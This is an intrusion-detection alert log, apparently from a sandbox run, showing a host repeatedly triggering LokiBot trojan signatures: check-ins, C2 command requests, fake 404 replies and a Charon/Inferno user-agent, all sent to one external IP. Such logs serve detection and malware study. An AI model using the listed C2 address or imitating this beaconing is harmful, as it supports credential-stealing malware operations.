12/02/20-11:54:00.003774	TCP	2025381	ET TROJAN LokiBot Checkin	49916	80	192.168.2.6	45.144.3.234
12/02/20-11:54:00.003774	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49916	80	192.168.2.6	45.144.3.234
12/02/20-11:54:00.132744	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49916	45.144.3.234	192.168.2.6
12/02/20-11:54:00.415814	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49917	80	192.168.2.6	45.144.3.234
12/02/20-11:54:00.415814	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49917	80	192.168.2.6	45.144.3.234
12/02/20-11:54:00.415814	TCP	2025381	ET TROJAN LokiBot Checkin	49917	80	192.168.2.6	45.144.3.234
12/02/20-11:54:00.415814	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49917	80	192.168.2.6	45.144.3.234
12/02/20-11:54:00.545377	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49917	45.144.3.234	192.168.2.6
12/02/20-11:54:00.838684	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49918	80	192.168.2.6	45.144.3.234
12/02/20-11:54:00.838684	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49918	80	192.168.2.6	45.144.3.234
12/02/20-11:54:00.838684	TCP	2025381	ET TROJAN LokiBot Checkin	49918	80	192.168.2.6	45.144.3.234
12/02/20-11:54:00.838684	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49918	80	192.168.2.6	45.144.3.234
12/02/20-11:54:00.965355	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49918	45.144.3.234	192.168.2.6
12/02/20-11:54:01.222614	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49919	80	192.168.2.6	45.144.3.234
12/02/20-11:54:01.222614	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49919	80	192.168.2.6	45.144.3.234
12/02/20-11:54:01.222614	TCP	2025381	ET TROJAN LokiBot Checkin	49919	80	192.168.2.6	45.144.3.234
12/02/20-11:54:01.222614	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49919	80	192.168.2.6	45.144.3.234
12/02/20-11:54:01.355035	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49919	45.144.3.234	192.168.2.6
12/02/20-11:54:01.607790	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49920	80	192.168.2.6	45.144.3.234
12/02/20-11:54:01.607790	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49920	80	192.168.2.6	45.144.3.234
12/02/20-11:54:01.607790	TCP	2025381	ET TROJAN LokiBot Checkin	49920	80	192.168.2.6	45.144.3.234
12/02/20-11:54:01.607790	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49920	80	192.168.2.6	45.144.3.234
12/02/20-11:54:01.748774	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49920	45.144.3.234	192.168.2.6
12/02/20-11:54:02.042783	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49921	80	192.168.2.6	45.144.3.234
12/02/20-11:54:02.042783	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49921	80	192.168.2.6	45.144.3.234
12/02/20-11:54:02.042783	TCP	2025381	ET TROJAN LokiBot Checkin	49921	80	192.168.2.6	45.144.3.234
12/02/20-11:54:02.042783	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49921	80	192.168.2.6	45.144.3.234
12/02/20-11:54:02.174635	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49921	45.144.3.234	192.168.2.6
12/02/20-11:54:02.488891	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49922	80	192.168.2.6	45.144.3.234
12/02/20-11:54:02.488891	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49922	80	192.168.2.6	45.144.3.234
12/02/20-11:54:02.488891	TCP	2025381	ET TROJAN LokiBot Checkin	49922	80	192.168.2.6	45.144.3.234
12/02/20-11:54:02.488891	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49922	80	192.168.2.6	45.144.3.234
12/02/20-11:54:02.615942	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49922	45.144.3.234	192.168.2.6
12/02/20-11:54:02.873128	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49923	80	192.168.2.6	45.144.3.234
12/02/20-11:54:02.873128	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49923	80	192.168.2.6	45.144.3.234
12/02/20-11:54:02.873128	TCP	2025381	ET TROJAN LokiBot Checkin	49923	80	192.168.2.6	45.144.3.234
12/02/20-11:54:02.873128	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49923	80	192.168.2.6	45.144.3.234
12/02/20-11:54:03.102366	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49923	45.144.3.234	192.168.2.6
12/02/20-11:54:03.408857	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49924	80	192.168.2.6	45.144.3.234
12/02/20-11:54:03.408857	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49924	80	192.168.2.6	45.144.3.234
12/02/20-11:54:03.408857	TCP	2025381	ET TROJAN LokiBot Checkin	49924	80	192.168.2.6	45.144.3.234
12/02/20-11:54:03.408857	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49924	80	192.168.2.6	45.144.3.234
12/02/20-11:54:03.534226	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49924	45.144.3.234	192.168.2.6
12/02/20-11:54:03.821189	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49925	80	192.168.2.6	45.144.3.234
12/02/20-11:54:03.821189	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49925	80	192.168.2.6	45.144.3.234
12/02/20-11:54:03.821189	TCP	2025381	ET TROJAN LokiBot Checkin	49925	80	192.168.2.6	45.144.3.234
12/02/20-11:54:03.821189	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49925	80	192.168.2.6	45.144.3.234
12/02/20-11:54:03.950833	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49925	45.144.3.234	192.168.2.6
12/02/20-11:54:04.227868	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49926	80	192.168.2.6	45.144.3.234
12/02/20-11:54:04.227868	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49926	80	192.168.2.6	45.144.3.234
12/02/20-11:54:04.227868	TCP	2025381	ET TROJAN LokiBot Checkin	49926	80	192.168.2.6	45.144.3.234
12/02/20-11:54:04.227868	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49926	80	192.168.2.6	45.144.3.234
12/02/20-11:54:04.356917	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49926	45.144.3.234	192.168.2.6
12/02/20-11:54:04.684160	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49927	80	192.168.2.6	45.144.3.234
12/02/20-11:54:04.684160	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49927	80	192.168.2.6	45.144.3.234
12/02/20-11:54:04.684160	TCP	2025381	ET TROJAN LokiBot Checkin	49927	80	192.168.2.6	45.144.3.234
12/02/20-11:54:04.684160	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49927	80	192.168.2.6	45.144.3.234
12/02/20-11:54:04.824449	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49927	45.144.3.234	192.168.2.6
12/02/20-11:54:05.082819	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49928	80	192.168.2.6	45.144.3.234
12/02/20-11:54:05.082819	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49928	80	192.168.2.6	45.144.3.234
12/02/20-11:54:05.082819	TCP	2025381	ET TROJAN LokiBot Checkin	49928	80	192.168.2.6	45.144.3.234
12/02/20-11:54:05.082819	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49928	80	192.168.2.6	45.144.3.234
12/02/20-11:54:05.223505	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49928	45.144.3.234	192.168.2.6
12/02/20-11:54:05.706169	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49929	80	192.168.2.6	45.144.3.234
12/02/20-11:54:05.706169	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49929	80	192.168.2.6	45.144.3.234
12/02/20-11:54:05.706169	TCP	2025381	ET TROJAN LokiBot Checkin	49929	80	192.168.2.6	45.144.3.234
12/02/20-11:54:05.706169	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49929	80	192.168.2.6	45.144.3.234
12/02/20-11:54:05.846091	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49929	45.144.3.234	192.168.2.6
12/02/20-11:54:06.116520	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49930	80	192.168.2.6	45.144.3.234
12/02/20-11:54:06.116520	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49930	80	192.168.2.6	45.144.3.234
12/02/20-11:54:06.116520	TCP	2025381	ET TROJAN LokiBot Checkin	49930	80	192.168.2.6	45.144.3.234
12/02/20-11:54:06.116520	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49930	80	192.168.2.6	45.144.3.234
12/02/20-11:54:06.257917	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49930	45.144.3.234	192.168.2.6
12/02/20-11:54:06.510435	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49931	80	192.168.2.6	45.144.3.234
12/02/20-11:54:06.510435	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49931	80	192.168.2.6	45.144.3.234
12/02/20-11:54:06.510435	TCP	2025381	ET TROJAN LokiBot Checkin	49931	80	192.168.2.6	45.144.3.234
12/02/20-11:54:06.510435	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49931	80	192.168.2.6	45.144.3.234
12/02/20-11:54:06.636279	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49931	45.144.3.234	192.168.2.6
12/02/20-11:54:06.913352	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49932	80	192.168.2.6	45.144.3.234
12/02/20-11:54:06.913352	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49932	80	192.168.2.6	45.144.3.234
12/02/20-11:54:06.913352	TCP	2025381	ET TROJAN LokiBot Checkin	49932	80	192.168.2.6	45.144.3.234
12/02/20-11:54:06.913352	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49932	80	192.168.2.6	45.144.3.234
12/02/20-11:54:07.043774	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49932	45.144.3.234	192.168.2.6
12/02/20-11:54:07.374504	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49933	80	192.168.2.6	45.144.3.234
12/02/20-11:54:07.374504	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49933	80	192.168.2.6	45.144.3.234
12/02/20-11:54:07.374504	TCP	2025381	ET TROJAN LokiBot Checkin	49933	80	192.168.2.6	45.144.3.234
12/02/20-11:54:07.374504	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49933	80	192.168.2.6	45.144.3.234
12/02/20-11:54:07.512545	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49933	45.144.3.234	192.168.2.6
12/02/20-11:54:07.745648	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49934	80	192.168.2.6	45.144.3.234
12/02/20-11:54:07.745648	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49934	80	192.168.2.6	45.144.3.234
12/02/20-11:54:07.745648	TCP	2025381	ET TROJAN LokiBot Checkin	49934	80	192.168.2.6	45.144.3.234
12/02/20-11:54:07.745648	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49934	80	192.168.2.6	45.144.3.234
12/02/20-11:54:07.870342	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49934	45.144.3.234	192.168.2.6
12/02/20-11:54:08.120275	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49935	80	192.168.2.6	45.144.3.234
12/02/20-11:54:08.120275	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49935	80	192.168.2.6	45.144.3.234
12/02/20-11:54:08.120275	TCP	2025381	ET TROJAN LokiBot Checkin	49935	80	192.168.2.6	45.144.3.234
12/02/20-11:54:08.120275	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49935	80	192.168.2.6	45.144.3.234
12/02/20-11:54:08.249251	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49935	45.144.3.234	192.168.2.6
12/02/20-11:54:08.508028	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49936	80	192.168.2.6	45.144.3.234
12/02/20-11:54:08.508028	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49936	80	192.168.2.6	45.144.3.234
12/02/20-11:54:08.508028	TCP	2025381	ET TROJAN LokiBot Checkin	49936	80	192.168.2.6	45.144.3.234
12/02/20-11:54:08.508028	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49936	80	192.168.2.6	45.144.3.234
12/02/20-11:54:08.637878	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49936	45.144.3.234	192.168.2.6
12/02/20-11:54:09.113025	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49937	80	192.168.2.6	45.144.3.234
12/02/20-11:54:09.113025	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49937	80	192.168.2.6	45.144.3.234
12/02/20-11:54:09.113025	TCP	2025381	ET TROJAN LokiBot Checkin	49937	80	192.168.2.6	45.144.3.234
12/02/20-11:54:09.113025	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49937	80	192.168.2.6	45.144.3.234
12/02/20-11:54:09.240146	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49937	45.144.3.234	192.168.2.6
12/02/20-11:54:11.242526	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49938	80	192.168.2.6	45.144.3.234
12/02/20-11:54:11.242526	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49938	80	192.168.2.6	45.144.3.234
12/02/20-11:54:11.242526	TCP	2025381	ET TROJAN LokiBot Checkin	49938	80	192.168.2.6	45.144.3.234
12/02/20-11:54:11.242526	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49938	80	192.168.2.6	45.144.3.234
12/02/20-11:54:11.376330	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49938	45.144.3.234	192.168.2.6
12/02/20-11:54:11.639263	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49939	80	192.168.2.6	45.144.3.234
12/02/20-11:54:11.639263	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49939	80	192.168.2.6	45.144.3.234
12/02/20-11:54:11.639263	TCP	2025381	ET TROJAN LokiBot Checkin	49939	80	192.168.2.6	45.144.3.234
12/02/20-11:54:11.639263	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49939	80	192.168.2.6	45.144.3.234
12/02/20-11:54:11.771996	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49939	45.144.3.234	192.168.2.6
12/02/20-11:54:12.071896	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49940	80	192.168.2.6	45.144.3.234
12/02/20-11:54:12.071896	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49940	80	192.168.2.6	45.144.3.234
12/02/20-11:54:12.071896	TCP	2025381	ET TROJAN LokiBot Checkin	49940	80	192.168.2.6	45.144.3.234
12/02/20-11:54:12.071896	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49940	80	192.168.2.6	45.144.3.234
12/02/20-11:54:12.200445	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49940	45.144.3.234	192.168.2.6
12/02/20-11:54:12.634165	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49941	80	192.168.2.6	45.144.3.234
12/02/20-11:54:12.634165	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49941	80	192.168.2.6	45.144.3.234
12/02/20-11:54:12.634165	TCP	2025381	ET TROJAN LokiBot Checkin	49941	80	192.168.2.6	45.144.3.234
12/02/20-11:54:12.634165	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49941	80	192.168.2.6	45.144.3.234
12/02/20-11:54:12.768112	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49941	45.144.3.234	192.168.2.6
12/02/20-11:54:13.017353	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49942	80	192.168.2.6	45.144.3.234
12/02/20-11:54:13.017353	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49942	80	192.168.2.6	45.144.3.234
12/02/20-11:54:13.017353	TCP	2025381	ET TROJAN LokiBot Checkin	49942	80	192.168.2.6	45.144.3.234
12/02/20-11:54:13.017353	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49942	80	192.168.2.6	45.144.3.234
12/02/20-11:54:13.140945	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49942	45.144.3.234	192.168.2.6
12/02/20-11:54:13.460320	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49943	80	192.168.2.6	45.144.3.234
12/02/20-11:54:13.460320	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49943	80	192.168.2.6	45.144.3.234
12/02/20-11:54:13.460320	TCP	2025381	ET TROJAN LokiBot Checkin	49943	80	192.168.2.6	45.144.3.234
12/02/20-11:54:13.460320	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49943	80	192.168.2.6	45.144.3.234
12/02/20-11:54:13.589609	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49943	45.144.3.234	192.168.2.6
12/02/20-11:54:13.903884	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49944	80	192.168.2.6	45.144.3.234
12/02/20-11:54:13.903884	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49944	80	192.168.2.6	45.144.3.234
12/02/20-11:54:13.903884	TCP	2025381	ET TROJAN LokiBot Checkin	49944	80	192.168.2.6	45.144.3.234
12/02/20-11:54:13.903884	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49944	80	192.168.2.6	45.144.3.234
12/02/20-11:54:14.030296	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49944	45.144.3.234	192.168.2.6
12/02/20-11:54:14.273896	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49945	80	192.168.2.6	45.144.3.234
12/02/20-11:54:14.273896	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49945	80	192.168.2.6	45.144.3.234
12/02/20-11:54:14.273896	TCP	2025381	ET TROJAN LokiBot Checkin	49945	80	192.168.2.6	45.144.3.234
12/02/20-11:54:14.273896	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49945	80	192.168.2.6	45.144.3.234
12/02/20-11:54:14.412825	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49945	45.144.3.234	192.168.2.6
12/02/20-11:54:14.721468	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49946	80	192.168.2.6	45.144.3.234
12/02/20-11:54:14.721468	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49946	80	192.168.2.6	45.144.3.234
12/02/20-11:54:14.721468	TCP	2025381	ET TROJAN LokiBot Checkin	49946	80	192.168.2.6	45.144.3.234
12/02/20-11:54:14.721468	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49946	80	192.168.2.6	45.144.3.234
12/02/20-11:54:14.852650	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49946	45.144.3.234	192.168.2.6
12/02/20-11:54:15.132387	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49947	80	192.168.2.6	45.144.3.234
12/02/20-11:54:15.132387	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49947	80	192.168.2.6	45.144.3.234
12/02/20-11:54:15.132387	TCP	2025381	ET TROJAN LokiBot Checkin	49947	80	192.168.2.6	45.144.3.234
12/02/20-11:54:15.132387	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49947	80	192.168.2.6	45.144.3.234
12/02/20-11:54:15.261505	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49947	45.144.3.234	192.168.2.6
12/02/20-11:54:15.547116	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49948	80	192.168.2.6	45.144.3.234
12/02/20-11:54:15.547116	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49948	80	192.168.2.6	45.144.3.234
12/02/20-11:54:15.547116	TCP	2025381	ET TROJAN LokiBot Checkin	49948	80	192.168.2.6	45.144.3.234
12/02/20-11:54:15.547116	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49948	80	192.168.2.6	45.144.3.234
12/02/20-11:54:15.675228	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49948	45.144.3.234	192.168.2.6
12/02/20-11:54:15.920391	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49949	80	192.168.2.6	45.144.3.234
12/02/20-11:54:15.920391	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49949	80	192.168.2.6	45.144.3.234
12/02/20-11:54:15.920391	TCP	2025381	ET TROJAN LokiBot Checkin	49949	80	192.168.2.6	45.144.3.234
12/02/20-11:54:15.920391	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49949	80	192.168.2.6	45.144.3.234
12/02/20-11:54:16.055699	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49949	45.144.3.234	192.168.2.6
12/02/20-11:54:16.357728	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49950	80	192.168.2.6	45.144.3.234
12/02/20-11:54:16.357728	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49950	80	192.168.2.6	45.144.3.234
12/02/20-11:54:16.357728	TCP	2025381	ET TROJAN LokiBot Checkin	49950	80	192.168.2.6	45.144.3.234
12/02/20-11:54:16.357728	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49950	80	192.168.2.6	45.144.3.234
12/02/20-11:54:16.485111	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49950	45.144.3.234	192.168.2.6
12/02/20-11:54:16.721967	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49953	80	192.168.2.6	45.144.3.234
12/02/20-11:54:16.721967	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49953	80	192.168.2.6	45.144.3.234
12/02/20-11:54:16.721967	TCP	2025381	ET TROJAN LokiBot Checkin	49953	80	192.168.2.6	45.144.3.234
12/02/20-11:54:16.721967	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49953	80	192.168.2.6	45.144.3.234
12/02/20-11:54:16.854005	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49953	45.144.3.234	192.168.2.6
12/02/20-11:54:17.155237	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49954	80	192.168.2.6	45.144.3.234
12/02/20-11:54:17.155237	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49954	80	192.168.2.6	45.144.3.234
12/02/20-11:54:17.155237	TCP	2025381	ET TROJAN LokiBot Checkin	49954	80	192.168.2.6	45.144.3.234
12/02/20-11:54:17.155237	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49954	80	192.168.2.6	45.144.3.234
12/02/20-11:54:17.282335	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49954	45.144.3.234	192.168.2.6
12/02/20-11:54:17.509661	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49955	80	192.168.2.6	45.144.3.234
12/02/20-11:54:17.509661	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49955	80	192.168.2.6	45.144.3.234
12/02/20-11:54:17.509661	TCP	2025381	ET TROJAN LokiBot Checkin	49955	80	192.168.2.6	45.144.3.234
12/02/20-11:54:17.509661	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49955	80	192.168.2.6	45.144.3.234
12/02/20-11:54:17.634666	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49955	45.144.3.234	192.168.2.6
12/02/20-11:54:17.931638	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49956	80	192.168.2.6	45.144.3.234
12/02/20-11:54:17.931638	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49956	80	192.168.2.6	45.144.3.234
12/02/20-11:54:17.931638	TCP	2025381	ET TROJAN LokiBot Checkin	49956	80	192.168.2.6	45.144.3.234
12/02/20-11:54:17.931638	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49956	80	192.168.2.6	45.144.3.234
12/02/20-11:54:18.084549	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49956	45.144.3.234	192.168.2.6
12/02/20-11:54:18.320180	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49957	80	192.168.2.6	45.144.3.234
12/02/20-11:54:18.320180	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49957	80	192.168.2.6	45.144.3.234
12/02/20-11:54:18.320180	TCP	2025381	ET TROJAN LokiBot Checkin	49957	80	192.168.2.6	45.144.3.234
12/02/20-11:54:18.320180	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49957	80	192.168.2.6	45.144.3.234
12/02/20-11:54:18.450666	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49957	45.144.3.234	192.168.2.6
12/02/20-11:54:18.788389	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49958	80	192.168.2.6	45.144.3.234
12/02/20-11:54:18.788389	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49958	80	192.168.2.6	45.144.3.234
12/02/20-11:54:18.788389	TCP	2025381	ET TROJAN LokiBot Checkin	49958	80	192.168.2.6	45.144.3.234
12/02/20-11:54:18.788389	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49958	80	192.168.2.6	45.144.3.234
12/02/20-11:54:18.917301	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49958	45.144.3.234	192.168.2.6
12/02/20-11:54:19.241028	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49959	80	192.168.2.6	45.144.3.234
12/02/20-11:54:19.241028	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49959	80	192.168.2.6	45.144.3.234
12/02/20-11:54:19.241028	TCP	2025381	ET TROJAN LokiBot Checkin	49959	80	192.168.2.6	45.144.3.234
12/02/20-11:54:19.241028	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49959	80	192.168.2.6	45.144.3.234
12/02/20-11:54:19.373669	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49959	45.144.3.234	192.168.2.6
12/02/20-11:54:19.628893	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49960	80	192.168.2.6	45.144.3.234
12/02/20-11:54:19.628893	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49960	80	192.168.2.6	45.144.3.234
12/02/20-11:54:19.628893	TCP	2025381	ET TROJAN LokiBot Checkin	49960	80	192.168.2.6	45.144.3.234
12/02/20-11:54:19.628893	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49960	80	192.168.2.6	45.144.3.234
12/02/20-11:54:19.758888	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49960	45.144.3.234	192.168.2.6
12/02/20-11:54:20.012145	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49961	80	192.168.2.6	45.144.3.234
12/02/20-11:54:20.012145	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49961	80	192.168.2.6	45.144.3.234
12/02/20-11:54:20.012145	TCP	2025381	ET TROJAN LokiBot Checkin	49961	80	192.168.2.6	45.144.3.234
12/02/20-11:54:20.012145	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49961	80	192.168.2.6	45.144.3.234
12/02/20-11:54:20.137866	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49961	45.144.3.234	192.168.2.6
12/02/20-11:54:20.474218	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49962	80	192.168.2.6	45.144.3.234
12/02/20-11:54:20.474218	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49962	80	192.168.2.6	45.144.3.234
